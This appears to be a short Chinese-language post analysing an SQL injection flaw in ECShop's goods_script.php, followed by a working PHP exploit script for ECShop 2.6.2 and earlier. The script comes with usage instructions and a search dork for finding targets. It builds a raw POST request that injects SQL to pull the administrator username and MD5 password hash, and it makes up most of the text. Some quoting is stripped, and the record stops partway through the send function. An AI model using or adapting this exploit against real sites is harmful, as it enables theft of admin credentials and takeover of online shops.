ECShop 注射漏洞分析

if (empty($_GET[type]))
{
...
}
elseif ($_GET[type] == collection)
{
...
}
$sql .= " LIMIT " . (!empty($_GET[goods_num]) ? intval($_GET[goods_num]) : 10);
$res = $db->query($sql);

#!/usr/bin/php
<?php
print_r(
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: "Powered by ECShop"
+---------------------------------------------------------------------------+
);
/**
* works with register_globals = On
*/
if ($argc < 3) {
print_r(
+---------------------------------------------------------------------------+
Usage: php .$argv[0]. host path
host: target server (ip/hostname)
path: path to ecshop
Example:
php .$argv[0]. localhost /ecshop/
+---------------------------------------------------------------------------+
);
exit;
}
error_reporting(7);
ini_set(max_execution_time, 0);
$host = $argv[1];
$path = $argv[2];
$resp = send();
preg_match(#href="([\S]+):([a-z0-9]{32})"#, $resp, $hash);
if ($hash)
exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
exit("Exploit Failed!\n");
function send()
{
global $host, $path;
$cmd = sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x.bin2hex(all). LIMIT 1#;
$data = "POST ".$path."goods_script.php?type=".time()." HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$data .= "Host: $host\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n";
$data .= "Connection: Close\r\n\r\n";
$data .= $cmd;